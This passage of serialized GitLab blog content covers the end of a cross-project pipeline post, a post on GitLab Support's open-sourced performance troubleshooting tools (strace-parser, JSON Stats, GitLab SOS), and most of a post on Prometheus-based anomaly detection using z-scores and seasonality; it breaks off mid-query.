just\nlearned, sometimes they can trigger downstream pipelines. To make it easier to understand the\nflow of a pipeline, including its downstream pipelines, GitLab has pipeline graphs for viewing\npipelines and each pipeline's status.\n\n![Service – Finance pipeline](https://about.gitlab.com/images/blogimages/Cross-proj-img4.png){: .shadow.medium.center}\n\nHey community, what else would you like me to explain in a blog post? Let me know in the comments or tweet us [@gitlab](https://twitter.com/gitlab).\n\nCover image by [Tian Kuan](https://unsplash.com/@realaxer) on [Unsplash](https://unsplash.com)\n{: .note}\n",[110,4103,754,942,1444],{"slug":28387,"featured":6,"template":678},"cross-project-pipeline","content:en-us:blog:cross-project-pipeline.yml","Cross Project Pipeline","en-us/blog/cross-project-pipeline.yml","en-us/blog/cross-project-pipeline",{"_path":28393,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28394,"content":28400,"config":28405,"_id":28407,"_type":16,"title":28408,"_source":17,"_file":28409,"_stem":28410,"_extension":20},"/en-us/blog/three-new-support-tools",{"title":28395,"description":28396,"ogTitle":28395,"ogDescription":28396,"noIndex":6,"ogImage":28397,"ogUrl":28398,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28398,"schema":28399},"We've open sourced 3 tools to help troubleshoot system performance","Say hello to the open source tools our Support team is using to better summarize customer performance data – and find out how they can help you.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670405/Blog/Hero%20Images/open_source_tools.jpg","https://about.gitlab.com/blog/three-new-support-tools","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We've open sourced 3 tools to help troubleshoot system performance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Will Chandler\"},{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-07-24\",\n      }",{"title":28395,"description":28396,"authors":28401,"heroImage":28397,"date":28383,"body":28403,"category":734,"tags":28404},[28402,17272],"Will Chandler","\nOur self-managed customers often encounter issues related to performance, or the time it takes to execute something. In the past, the [Support team](/handbook/support/) had to pull data from disparate sources and cobble it together in order to analyze performance-related issues.\n\n“We’re dealing with someone else’s computer on support, so we have to be able to handle environments with limited observability,” says [Will Chandler](/company/team/#wchandler), senior support engineer. “We’re at the mercy of their infrastructure. That’s why the team has made tools to reduce the friction.”\n\n“With [GitLab.com](/pricing/), we have all of this fancy tooling that helps us collect performance data,” says [Lee Matos](/company/team/#leematos), support engineering manager. “But when we’re working with customers, we need to be ready to bring lightweight tools that don’t require a lot of setup that we can use based on what they have in place.”\n\nThe Support team is working on becoming more data driven by using three new tools designed to aggregate and summarize performance data for self-managed customers. A focus on data-driven decision-making improves the customer relationship and demonstrates our commitment to making performance a key feature of GitLab.\n\nWe'll look at three open source tools created by GitLab Self-Managed Support. Strace parser is a general tool that could be of use to anyone, while JSON Stats and GitLabSOS are tailored to GitLab, but could be easily modified.\n\n## 1. [Strace parser](https://gitlab.com/gitlab-com/support/toolbox/strace-parser)\n\n[Strace](https://gitlab.com/strace/strace) is a commonly used debugging and diagnostic tool in Linux that captures information about what’s happening inside processes running on our customers’ environments.\n\nUnlike [newer](http://man7.org/linux/man-pages/man1/perf.1.html) and [more powerful](https://github.com/iovisor/bpftrace) tracing tools, strace adds [significant overhead to a process](http://www.brendangregg.com/blog/2014-05-11/strace-wow-much-syscall.html). However, strace is generally available even on very old versions of Linux.\n\nAn strace of a single-threaded program is linear, but following the threads of execution quickly gets difficult when there are many processes being captured. At GitLab Support we are typically tracing [Unicorn](https://bogomips.org/unicorn/) workers or [Gitaly](https://gitlab.com/gitlab-org/gitaly), which are highly concurrent, resulting in hundreds of process IDs being traced and hundreds of thousands of lines of output from traces only a few seconds long.\n\nWill built [strace parser](https://gitlab.com/gitlab-com/support/toolbox/strace-parser) for these types of use cases. Strace parser summarizes the most meaningful processing data delivered by an strace in a more accessible format, allowing users to find the critical section sections of the data quickly.\n\nThe next two examples are from a GitLab customer that was using a very slow file system to host their .gitconfig file, which was a major performance bottleneck. But it was not immediately clear what was happening from the perspective of a user trying to troubleshoot. By running an strace on Gitaly, we were able to get a better understanding of why the system was so slow.\n\n```\n3694  13:45:06.207369 clock_gettime(CLOCK_MONOTONIC, {3016230, 201254200}) = 0 \u003C0.000015>\n3694  13:45:06.207409 futex(0x7f645bb49664, FUTEX_WAIT_BITSET_PRIVATE, 192398, {3016230, 299906871}, ffffffff \u003Cunfinished ...>\n3542  13:45:06.209616 \u003C... futex resumed> ) = -1 ETIMEDOUT (Connection timed out) \u003C0.005236>\n3542  13:45:06.209639 futex(0x1084ff0, FUTEX_WAKE, 1) = 1 \u003C0.000023>\n3510  13:45:06.209673 \u003C... futex resumed> ) = 0 \u003C0.002909>\n3542  13:45:06.209701 futex(0xc420896548, FUTEX_WAKE, 1 \u003Cunfinished ...>\n3510  13:45:06.209710 pselect6(0, NULL, NULL, NULL, {0, 20000}, NULL \u003Cunfinished ...>\n16780 13:45:06.209740 \u003C... futex resumed> ) = 0 \u003C0.002984>\n3542  13:45:06.209749 \u003C... futex resumed> ) = 1 \u003C0.000043>\n16780 13:45:06.209776 pselect6(0, NULL, NULL, NULL, {0, 3000}, NULL \u003Cunfinished ...>\n3542  13:45:06.209787 futex(0xc420053548, FUTEX_WAKE, 1 \u003Cunfinished ...>\n16780 13:45:06.209839 \u003C... pselect6 resumed> ) = 0 (Timeout) \u003C0.000056>\n3544  13:45:06.209853 \u003C... futex resumed> ) = 0 \u003C0.003148>\n3542  13:45:06.209861 \u003C... futex resumed> ) = 1 \u003C0.000069>\n3510  13:45:06.209868 \u003C... pselect6 resumed> ) = 0 (Timeout) \u003C0.000151>\n3544  13:45:06.209915 epoll_ctl(4\u003Canon_inode:[eventpoll]>, EPOLL_CTL_DEL, 181\u003CUNIX:[164869291]>, 0xc42105bb14 \u003Cunfinished ...>\n16780 13:45:06.210076 write(1\u003Cpipe:[55447]>, \"time=\\\"2019-02-14T18:45:06Z\\\" level=warning msg=\\\"health check failed\\\" error=\\\"rpc error: code = DeadlineExceeded desc = context deadline exceeded\\\" worker.name=gitaly-ruby.4\\n\", 170 \u003Cunfinished ...>\n3544  13:45:06.210093 \u003C... epoll_ctl resumed> ) = 0 \u003C0.000053>\n3542  13:45:06.210101 futex(0x1089020, FUTEX_WAIT, 0, {0, 480025102} \u003Cunfinished ...>\n3510  13:45:06.210109 pselect6(0, NULL, NULL, NULL, {0, 20000}, NULL \u003Cunfinished ...>\n16780 13:45:06.210153 \u003C... write resumed> ) = 170 \u003C0.000064>\n3544  13:45:06.210163 close(181\u003CUNIX:[164869291]> \u003Cunfinished ...>\n```\n\nThis strace delivers more than 300,000 lines about the different Gitaly processes running on this customer’s GitLab environment, making it challenging to decipher the flow of execution.\n{: .note.text-center}\n\n“In this case, we can use strace-parser to say, ‘Just give me all the files that were opened, and sort them by how long it took to open,’” says Will.\n\n```\n$ strace-parser trace.txt files --sort duration\n\nFiles Opened\n\n      pid      dur (ms)       timestamp            error         file name\n  -------    ----------    ---------------    ---------------    ---------\n    24670      5203.999    13:45:16.152985           -           /efs/gitlab/home/.gitconfig\n    24859      5296.580    13:45:23.367482           -           /efs/gitlab/home/.gitconfig\n    24584      5279.810    13:45:09.286019           -           /efs/gitlab/home/.gitconfig\n    24666      5276.975    13:45:16.079697           -           /efs/gitlab/home/.gitconfig\n    24667      5255.649    13:45:16.101009           -           /efs/gitlab/home/.gitconfig\n    14871      2594.364    13:45:18.762347           -           /efs/gitlab/home/.gitconfig\n    24885      2440.635    13:45:26.224189           -           /efs/gitlab/home/.gitconfig\n    24886      2432.980    13:45:26.231009           -           /efs/gitlab/home/.gitconfig\n    24656        55.873    13:45:15.916836        ENOENT         /nfs/gitlab/gitdata/repositories/group/project.git/objects/info/alternates\n    24688        42.764    13:45:21.522789        ENOENT         /nfs/gitlab/gitdata/repositories/group/project.git/objects/info/alternates\n     3709        39.631    13:45:07.816618           -           /efs/gitlab/home/.gitconfig\n    24583        37.959    13:45:09.218283           -           /efs/gitlab/home/.gitconfig\n```\n\nBy summarizing the data in this way, we see multiple files that took 2-5 seconds to open, which is several orders of magnitude slower than expected.\n{: .note.text-center}\n\n“If it’s a particularly busy server and we’re performing these actions 50 times a second, 100 times a second, that adds up really fast,” says Will. “Strace-Parser lets you drill down quickly, and say, ‘OK, this specific thing we’re doing is super slow.’”\n\n### Get a closer look at processes using strace-parser\n\nStrace-Parser can also be used to drill down into details of a process.\n\nThe previous output showed PID 24670 is one of the slower processes, so we use the parser to understand how this slow call impacted the performance of the process overall.\n\n```\n$ strace-parser trace.txt pid 24670\n\nPID 24670\n\n  271 syscalls, active time: 5303.438ms, user time: 34.662ms, total time: 5338.100ms\n  start time: 13:45:16.116671    end time: 13:45:21.454771\n\n  syscall                 count    total (ms)      max (ms)      avg (ms)      min (ms)    errors\n  -----------------    --------    ----------    ----------    ----------    ----------    --------\n  open                       29      5223.073      5203.999       180.106         0.031    ENOENT: 9\n  read                       25        46.303        28.747         1.852         0.031\n  access                     11         6.948         4.131         0.632         0.056    ENOENT: 3\n  lstat                       6         5.116         2.130         0.853         0.077    ENOENT: 4\n  mmap                       32         3.868         0.485         0.121         0.028\n  openat                      2         3.757         2.934         1.878         0.823\n  fstat                      28         3.395         0.272         0.121         0.033\n  munmap                     11         2.551         0.929         0.232         0.056\n  rt_sigaction               59         2.548         0.121         0.043         0.024\n  close                      22         2.375         0.279         0.108         0.032\n  mprotect                   14         0.927         0.174         0.066         0.032\n  execve                      1         0.621         0.621         0.621         0.621\n  brk                         6         0.595         0.210         0.099         0.046\n  stat                        8         0.388         0.082         0.048         0.027    ENOENT: 3\n  getdents                    4         0.361         0.138         0.090         0.044\n  rt_sigprocmask              3         0.141         0.059         0.047         0.040\n  write                       1         0.101         0.101         0.101         0.101\n  dup2                        3         0.090         0.032         0.030         0.026\n  arch_prctl                  1         0.077         0.077         0.077         0.077\n  getrlimit                   1         0.062         0.062         0.062         0.062\n  getcwd                      1         0.044         0.044         0.044         0.044\n  set_robust_list             1         0.035         0.035         0.035         0.035\n  set_tid_address             1         0.032         0.032         0.032         0.032\n  setpgid                     1         0.030         0.030         0.030         0.030\n  ---------------\n\n  Program Executed: /opt/gitlab/embedded/bin/git\n  Args: [\"--git-dir\" \"/nfs/gitlab/gitdata/repositories/group/project.git\" \"cat-file\" \"--batch-check\"]\n\n  Parent PID:  3563\n\n  Slowest file open times for PID 24670:\n\n    dur (ms)       timestamp            error         file name\n  ----------    ---------------    ---------------    ---------\n    5203.999    13:45:16.152985           -           /efs/gitlab/home/.gitconfig\n       5.420    13:45:16.143520           -           /nfs/gitlab/gitdata/repositories/group/project.git/config\n       2.959    13:45:21.372776           -           /efs/gitlab/home/.gitconfig\n       2.934    13:45:21.401073           -           /nfs/gitlab/gitdata/repositories/group/project.git/refs/\n       2.736    13:45:21.417333        ENOENT         /nfs/gitlab/gitdata/repositories/group/project.git/info/grafts\n       2.683    13:45:21.421558           -           /nfs/gitlab/gitdata/repositories/group/project.git/objects/b7/ef5eba3a425af1e2a9cf6f51cb87454b6e1ad1\n       2.430    13:45:21.407170        ENOENT         /nfs/gitlab/gitdata/repositories/group/project.git/objects/info/alternates\n       0.992    13:45:21.420213        ENOENT         /nfs/gitlab/gitdata/repositories/group/project.git/shallow\n       0.823    13:45:21.405535           -           /nfs/gitlab/gitdata/repositories/group/project.git/objects/pack\n       0.275    13:45:21.380382           -           /nfs/gitlab/gitdata/repositories/group/project.git/config\n```\n\nThe output shows the time this process spent working was dominated by the slow file open. This data points the Support team in the right direction for fixing the underlying issue.\n{: .note.text-center}\n\nStrace itself has the `-c` flag which provides a similar summary, but its utility is limited when multiple processes are traced as it cannot break out per-process statistics.  Strace-Parser breaks these down to the PID level, and can also include the details of parent and child processes on demand.\n\n“In this case Will has identified an interesting area for our customer and then very quickly anchored it in the fact that when we look at that one spot it was slow,” says Lee. “When we’re debugging, having this data available really helps us pinpoint the problem for our customers so we can give them answers.”\n\nThe typical GitLab deployment has many different processes and services running at a time, which can create dozens of different child processes, so there is a large surface area for potential errors or slowness to occur.\n\nStrace-Parser is an open source, generic tool that anyone can use to better understand their strace data.\n\n## 2. [JSON Stats](https://gitlab.com/gitlab-com/support/toolbox/json_stats)\n\nWill also built [JSON Stats](https://gitlab.com/gitlab-com/support/toolbox/json_stats), a script that pulls performance statistics for different logs from the customer’s GitLab environment and summarizes the results in an easy-to-interpret table.\n\n```\nMETHOD                             COUNT     RPS     PERC99     PERC95     MEDIAN         MAX        MIN          SCORE    % FAIL\nFetchRemote                         2542    0.17  962176.08  130154.88   36580.23  4988513.00    1940.45  2445851585.19      1.06\nFindAllTags                         5200    0.34   30000.37   11538.63    1941.84    30006.23     252.10   156001924.68      1.63\nFindCommit                          3506    0.23   20859.98   16622.78   10841.86    30001.59    2528.67    73135073.75      0.23\nFindAllRemoteBranches               1664    0.11   20432.93   12996.75    8606.60   405503.94    1430.84    34000396.10      0.00\nAddRemote                           2603    0.17   10001.03    8094.97     825.46    10007.46     228.13    26032673.70      3.00\nFindLocalBranches                   2535    0.16   10004.68   10002.90    9051.91    10036.16    1260.89    25361871.05     34.32\n```\n\nThis output shows that we’re calling the “FindLocalBranches” service 2500+ times, and it’s failing 34% of the time.\n{: .note.text-center}\n\nThe Support team can use JSON Stats to ground their findings in evidence when evaluating overall performance for a customer. It's the same concept as strace-parser. Can we pivot the information in a way that it clearly becomes meaningful data?\n\n“It’s a quick way of extracting data that you can give to a customer. Instead of saying ‘Look, this failed once,’ we can say, ‘Look, this is failing a third of the time and that suggests there’s a problem with X,’” says Will.\n\nIn the sample output we see that JSON Stats is working with Gitaly logs, but the tool is nimble enough to work on the logs from all the heavy components of GitLab, including Rails, which runs the UI, and Sidekiq, which works on background tasks.\n\n“Some of our customers are very sophisticated and may have advanced monitoring that could give us this information. But we wanted to build a tool that would help us align and easily standardize on how we can get this performance information for customers that don’t have an advanced monitoring setup,” says Lee.\n\nWhile this specific tool isn't as helpful for people outside of the GitLab community, hopefully it helps to inspire others to consider how they are drawing conclusions, and how they can speed that process up.\n\n### Benchmarking with JSON Stats\n\nWill is building a future iteration of JSON Stats that will compare the performance of a customer’s GitLab instance with GitLab.com.\n\n![JSON benchmarking table](https://about.gitlab.com/images/blogimages/support-tools-update.png){: .shadow}\n\nBenchmarking the performance of GitLab.com (the first row) with the customer environment (second row), and the ratio between the two (third row). We can see that in the worst case, the customer’s 99th percentile FindCommit latency was almost eight times slower than it was on GitLab.com.\n{: .note.text-center}\n\n“Our vision here is to give accountability to our customers. We’re going to treat GitLab.com as the pinnacle experience for GitLab,” says Lee. “We want to use JSON Stats with benchmarking to help us understand how far away our customers are from GitLab.com.”\n\nLee and Will are still assessing how to set the target range for the customer’s instance of GitLab. But considering the wealth of resources allocated to GitLab.com, any self-managed customer that is performing within 5-10% of GitLab.com would be considered hugely successful.\n\n## 3. [GitLab SOS](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos)\n\nWhen a customer encounters an issue, but they are unsure of what they problem is, they can run [GitLab SOS](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos), created by support engineer [Cody West](/company/team/#codyww), to create a snapshot of different activities happening on their system. It's been so helpful in debugging GitLab that it's being added into our [Omnibus delivery](https://gitlab.com/gitlab-org/omnibus-gitlab/merge_requests/3430).\n\nBy capturing so much data about a moment in time during or shortly after encountering a problem, the support team is able to work asynchronously to troubleshoot on behalf of the customer.\n\n```\ncpuinfo              getenforce           iotop                netstat              opt                  sestatus             unicorn_stats\ndf_h                 gitlab_status        lscpu                netstat_i            pidstat              systemctl_unit_files uptime\ndmesg                gitlabsos.log        meminfo              nfsiostat            ps                   tainted              var\netc                  hostname             mount                nfsstat              sar_dev              ulimit               vmstat\nfree_m               iostat               mpstat               ntpq                 sar_tcp              uname\n```\n\nGitLab SOS works best if the script is run while an issue is occurring, or moments after, but even if the window of opportunity is missed you can still successfully gather information to diagnose the problem.\n{: .note.text-center}\n\n“If a customer is sharp, they may know what problems to look for already,” says Lee. “But if a customer is scared and they don’t know what to look for, then they can lean on a tool like GitLab SOS and learn from GitLab SOS. We even have some sharp customers that will generate the SOS output and begin to troubleshoot themselves because of the comprehensive overview it provides.”\n\n## These new tools drive data-driven decision-making in Support\n\nTools like strace-parser, JSON Stats, and GitLab SOS provide the Support team and GitLab customers with critical evidence about performance. By letting the data drive decision-making, the Support team is able to identify problems faster and quickly start debugging customer environments. Performance is a key feature of GitLab, and by filling our toolbox with data-driven solutions we can ensure greater [transparency](https://handbook.gitlab.com/handbook/values/#transparency) between GitLab and our customers.\n\nLearn more about debugging from a support engineering perspective in a GitLab Unfiltered video.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/9W6QnpYewik\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nCover photo by [Diogo Nunes](https://unsplash.com/@dialex?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/tools?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[815,754,676],{"slug":28406,"featured":6,"template":678},"three-new-support-tools","content:en-us:blog:three-new-support-tools.yml","Three New Support Tools","en-us/blog/three-new-support-tools.yml","en-us/blog/three-new-support-tools",{"_path":28412,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28413,"content":28418,"config":28423,"_id":28425,"_type":16,"title":28426,"_source":17,"_file":28427,"_stem":28428,"_extension":20},"/en-us/blog/anomaly-detection-using-prometheus",{"title":28414,"description":28415,"ogTitle":28414,"ogDescription":28415,"noIndex":6,"ogImage":17438,"ogUrl":28416,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28416,"schema":28417},"How to use Prometheus for anomaly detection in GitLab","Explore how Prometheus query language can be used to help you diagnose incidents, detect performance regressions, tackle abuse, and more.","https://about.gitlab.com/blog/anomaly-detection-using-prometheus","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use Prometheus for anomaly detection in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-07-23\",\n      }",{"title":28414,"description":28415,"authors":28419,"heroImage":17438,"date":28420,"body":28421,"category":734,"tags":28422},[17272],"2019-07-23","\n\nOne of the more basic functions of the Prometheus query language is real-time aggregation of [time series data](https://prometheus.io/docs/prometheus/latest/querying/basics/). [Andrew Newdigate](/company/team/#suprememoocow), a distinguished engineer on the GitLab infrastructure team, hypothesized that Prometheus query language can also be used to detect anomalies in time series data.\n\n[Andrew broke down the different ways Prometheus can be used](https://vimeo.com/341141334) for the attendees of [Monitorama 2019](https://monitorama.com/index.html). This blog post explains how anomaly detection works with Prometheus and includes the code snippets you’ll need to try it out for yourself on your own system.\n\n## Why is anomaly detection useful?\n\nThere are four key reasons why anomaly detection is important to GitLab:\n\n1. **Diagnosing incidents**: We can figure out which services are performing outside their normal bounds quickly and reduce the average time it takes to [detect an incident (MTTD)](/handbook/engineering/infrastructure/incident-management/), bringing about a faster resolution.\n2. **Detecting application performance regressions**: For example, if an n + 1 regression is introduced and leads to one service calling another at a very high rate, we can quickly track the issue down and resolve it.\n3. **Identify and resolve abuse**: GitLab offers free computing ([GitLab CI/CD](/topics/ci-cd/)) and hosting (GitLab Pages), and there are a small subset of users who might take advantage.\n4. **Security**: Anomaly detection is essential to spotting unusual trends in GitLab time series data.\n\nFor these reasons and many others, Andrew investigated whether it was possible to perform anomaly detection on GitLab time series data by simply using Prometheus queries and rules.\n\n## What level of aggregation is the correct one?\n\nFirst, time series data must be aggregated correctly. Andrew used a standard counter of `http_requests_total` as the data source for this demonstration, although many other metrics can be applied using the same techniques.\n\n```\nhttp_requests_total{\n job=\"apiserver\",\n method=\"GET\",\n controller=\"ProjectsController\",\n status_code=\"200\",\n environment=\"prod\"\n}\n```\n{: .language-ruby}\n\nThis example metric has **some extra dimensions**: `method`, `controller`, `status_code`, `environment`, as well as the dimensions that Prometheus adds, such as `instance` and `job`.\n\nNext, you must choose the correct level of aggregation for the data you are using. This is a bit of a Goldilocks problem – too much, too little, or just right – but it is essential for finding anomalies. By **aggregating the data too much**, it can be reduced to too few dimensions, creating two potential problems:\n\n1. You can miss genuine anomalies because the aggregation hides problems that are occurring within subsets of your data.\n2. If you do detect an anomaly, it's difficult to attribute it to a particular part of your system without more investigation into the anomaly.\n\nBut by **aggregating the data too little**, you might end up with a series of data with very small sample sizes which can lead to false positives and could mean flagging genuine data as outliers.\n\nJust right: Our experience has shown the **right level of aggregation is the service level**, so we include the job label and the environment label, but drop other dimensions. The data aggregation used through the rest of the talk includes: job `http requests`, rate five minutes, which is basically a rate across job and environment on a five-minute window.\n\n```\n- record: job:http_requests:rate5m\nexpr: sum without(instance, method, controller, status_code)\n(rate(http_requests_total[5m]))\n# --> job:http_requests:rate5m{job=\"apiserver\", environment=\"prod\"}  21321\n# --> job:http_requests:rate5m{job=\"gitserver\", environment=\"prod\"}  2212\n# --> job:http_requests:rate5m{job=\"webserver\", environment=\"prod\"}  53091\n```\n{: .language-ruby}\n\n## Using z-score for anomaly detection\n\nSome of the primary principles of statistics can be applied to detecting anomalies with Prometheus.\n\nIf we know the average value and [standard deviation (σ)](https://www.statisticshowto.datasciencecentral.com/probability-and-statistics/standard-deviation/) of a Prometheus series, we can use any sample in the series to calculate the z-score. The z-score is measured in the number of standard deviations from the mean. So a z-score of 0 would mean the z-score is identical to the mean in a data set with a normal distribution, while a z-score of 1 is 1.0 σ from the mean, etc.\n\nAssuming the underlying data has a normal distribution, 99.7% of the samples should have a z-score between zero to three. The further the z-score is from zero, the less likely it is to exist. We apply this property to detecting anomalies in the Prometheus series.\n\n1. Calculate the average and standard deviation for the metric using data with a large sample size. For this example, we use one week’s worth of data. If we assume we're evaluating the recording rule once a minute, over a one-week period we'll have just over 10,000 samples.\n\n```\n# Long-term average value for the series\n- record: job:http_requests:rate5m:avg_over_time_1w\nexpr: avg_over_time(job:http_requests:rate5m[1w])\n\n# Long-term standard deviation for the series\n- record: job:http_requests:rate5m:stddev_over_time_1w\nexpr: stddev_over_time(job:http_requests:rate5m[1w])\n```\n{: .language-ruby}\n\n2.  We can calculate the z-score for the Prometheus query once we have the average and standard deviation for the aggregation.\n\n```\n# Z-Score for aggregation\n(\njob:http_requests:rate5m -\njob:http_requests:rate5m:avg_over_time_1w\n) /  job:http_requests:rate5m:stddev_over_time_1w\n```\n{: .language-ruby}\n\nBased on the statistical principles of normal distributions, **we can assume that any value that falls outside of the range of roughly +3 to -3 is an anomaly**. We can build an alert around this principle. For example, we can get an alert when our aggregation is out of this range for more than five minutes.\n\n![Graph showing RPS on GitLab.com over 48 hours](https://about.gitlab.com/images/blogimages/prometheus_anomaly/image1.png){: .shadow.medium.center}\n\nGitLab.com Pages service RPS over 48 hours, with ±3 z-score region in green\n{: .note.text-center}\n\nZ-scores are a bit awkward to interpret on a graph because they don’t have a unit of measurement. But anomalies on this chart are easy to detect. Anything that appears outside of the green area (which denotes z-scores that fall within a range of +3 or -3) is an anomaly.\n\n### What if you don’t have a normal distribution?\n\n**But wait**: We make a big leap by assuming that our underlying aggregation has a normal distribution. If we calculate the z-score with data that isn’t normally distributed, our results will be incorrect.\n\nThere are numerous statistical techniques for testing your data for a normal distribution, but the best option is to test that your underlying data has a z-score of about **+4 to -4**.\n\n```\n(\n max_over_time(job:http_requests:rate5m[1w]) - avg_over_time(job:http_requests:rate5m[1w])\n) / stddev_over_time(job:http_requests:rate5m[1w])\n# --> {job=\"apiserver\", environment=\"prod\"}  4.01\n# --> {job=\"gitserver\", environment=\"prod\"}  3.96\n# --> {job=\"webserver\", environment=\"prod\"}  2.96\n\n(\n min_over_time(job:http_requests:rate5m[1w]) - avg_over_time(job:http_requests:rate5m[1w])\n) / stddev_over_time(job:http_requests:rate5m[1w])\n# --> {job=\"apiserver\", environment=\"prod\"}  -3.8\n# --> {job=\"gitserver\", environment=\"prod\"}  -4.1\n# --> {job=\"webserver\", environment=\"prod\"}  -3.2\n```\n{: .language-ruby}\n\nTwo Prometheus queries testing the minimum and maximum z-scores.\n{: .note.text-center}\n\nIf your results return with a range of +20 to -20, the tail is too long and your results will be skewed. Remember too that this needs to be run on an aggregated, not unaggregated series. Metrics that probably don’t have normal distributions include things like error rates, latencies, queue lengths etc., but many of these metrics will tend to work better with fixed thresholds for alerting anyway.\n\n## Detecting anomalies using seasonality\n\nWhile calculating z-scores works well with normal distributions of time series data, there is a second method that can yield _even more accurate_ anomaly detection results. **Seasonality** is a characteristic of a time series metric in which the metric experiences regular and predictable changes that recur every cycle.\n\n![Graph showing Gitaly RPS, Mon-Sun over four weeks](https://about.gitlab.com/images/blogimages/prometheus_anomaly/image2.png){: .shadow.medium.center}\n\nGitaly requests per second (RPS), Monday-Sunday, over four consecutive weeks\n{: .note.text-center}\n\nThis graph illustrates the RPS (requests per second) rates for Gitaly over seven days, Monday through Sunday, over four consecutive weeks. The seven-day range is referred to as the “offset,” meaning the pattern that will be measured.\n\nEach week on the graph is in a different color. The seasonality in the data is indicated by the consistency in trends indicated on the graph – every Monday morning, we see the same rise in RPS rates, and on Friday evenings, we see the RPS rates drop off, week after week.\n\nBy leveraging the seasonality in our time series data we can create more accurate predictions which will lead to better anomaly detection.\n\n### How do we leverage seasonality?\n\nCalculating seasonality with Prometheus required that we iterate on a few different statistical principles.\n\nIn the first iteration, we calculate by adding the growth trend we’ve seen over a one-week period to the value from the previous week. Calculate the growth trend by subtracting the rolling one-week average for last week from the rolling one-week average for now.\n\n```\n- record: job:http_requests:rate5m_prediction\n  expr: >\n    job:http_requests:rate5m offset 1w                     # Value from last period\n    + job:http_requests:rate5m:avg_over_time_1w            # One-week growth trend\n    - job:http_requests:rate5m:avg_over_time_1w offset 1w\n```\n\nThe first iteration is a bit narrow; we’re using a five-minute window from this week and the previous week to derive our predictions.\n\nIn the second iteration, we expand our scope by taking the average of a four-hour period for the previous week and comparing it to the current week. So, if we’re trying to predict the value of a metric at 8am on a Monday morning, instead of using the same five-minute window from one week prior, we use the average value for the metric from 6am until 10am for the previous morning.\n\n```\n- record: job:http_requests:rate5m_prediction\n  expr: >\n    avg_over_time(job:http_requests:rate5m[4h] offset 166h) # Rounded value from last period\n    + job:http_requests:rate5m:avg_over_time_1w             # Add 1w growth trend\n    - job:http_requests:rate5m:avg_over_time_1w offset 1w\n```\n{: .language-yaml}\n\nWe use the 166 hours in the query instead of one week because we want to use a four-hour period based on the current time of day, so we need the offset to be two hours short of a full week.\n\n![Comparing the real Gitaly RPS with our prediction](https://about.gitlab.com/images/blogimages/prometheus_anomaly/image3.png){: .shadow.medium.center}\n\nGitaly service RPS (yellow) vs prediction (blue), over two weeks.\n{: .note.text-center}\n\nA comparison of the actual Gitaly RPS (yellow) with our prediction (blue) indicate that our calculations were fairly accurate. However, this method has a flaw.\n\nGitLab usage was lower than the typical Wednesday because May 1 was International Labor Day, a holiday celebrated in many different countries. Because our growth rate is informed by the previous week’s usage, our predictions for the next week, on Wednesday, May 8, were for a lower RPS than it would have been had it not been a holiday on Wednesday, May 1.\n\nThis can be fixed by making three predictions for three consecutive weeks before Wednesday, May 1; for the previous Wednesday, the Wednesday before that, and the Wednesday before that. The query stays the same, but the offset is adjusted.\n\n```\n- record: job:http_requests:rate5m_prediction\n  expr: >\n   quantile(0.5,\n     label_replace(\n       avg_over_time(job:http_requests:rate5m[4h] offset 166h)\n       + job:http_requests:rate5m:avg_over_time_1w - job:http_requests:rate5m:avg_over_time_1w offset 1w\n       , \"offset\", \"1w\", \"\", \"\")\n     or\n     label_replace(\n       avg_over_time(job:http_requests:rate5m[4h] offset 334h)\n       + job:http_requests:rate5m:avg_over_time_1w - job:http_requests:rate5m:avg_over_time_1w offset 2w\n       , \"offset\", \"2w\", \"\", \"\")\n     or\n     label_replace(\n       avg_over_time(job:http_requests:rate5m[4h] offset 502h)\n       + job:http_requests:rate5m:avg_over_time_1w - job:http_requests:rate5m:avg_over_time_1w offset 3w\n       , \"offset\", \"3w\", \"\", \"\")\n   )\n   without (offset)\n```\n{: .language-yaml}\n\n![A graph showing three predictions for three Wednesdays vs. actual Gitaly RPS](https://about.gitlab.com/images/blogimages/prometheus_anomaly/image4.png){: .shadow.medium.center}\n\nThree predictions for three Wednesdays vs actual Gitaly RPS, Wednesday, May 8 (one week following International Labor Day)\n{: .note.text-center}\n\nOn the graph we’ve plotted Wednesday, May 8 and three predictions for the three consecutive weeks before May 8. We can see that two of the predictions are good, but the May 1 prediction is still far off base.\n\nAlso, we don’t want three predictions, we want **one prediction**. Taking the average is not an option, because it will be diluted by our skewed May 1 RPS data. Instead, we want to calculate the median. Prometheus does not have a median query, but we can use a quantile aggregation in lieu of the median.\n\nThe one problem with this approach is that we're trying to include three series in an aggregation, and those three series are actually all the same series over three weeks. In other words, they all have the same labels, so connecting them is tricky. To avoid confusion, we create a label called `offset` and use the label-replace function to add an offset to each of the three weeks. Next, in the quantile aggregation, we strip that off, and that gives us the middle value out of the three.\n\n```\n- record: job:http_requests:rate5m_prediction\n  expr: >\n   quantile(0.5,\n     label_replace(\n       avg_over_time(job:http_requests:rate5m[4h] offset 166h)\n       + job:http_requests:rate5m:avg_over_time_1w - job:http_requests:rate5m:avg_over_time_1w offset 1w\n       , \"offset\", \"1w\", \"\", \"\")\n     or\n     label_replace(\n       avg_over_time(job:http_requests:rate5m[4h] offset 334h)\n       + job:http_requests:rate5m:avg_over_time_1w - job:http_requests:rate5m:avg_over_time_1w offset 2w\n       , \"offset\", \"2w\", \"\", \"\")\n     or\n     label_replace(\n       avg_over_time(job:http_requests:rate5m[4h] offset 502h)\n       + job:http_requests:rate5m:avg_over_time_1w - 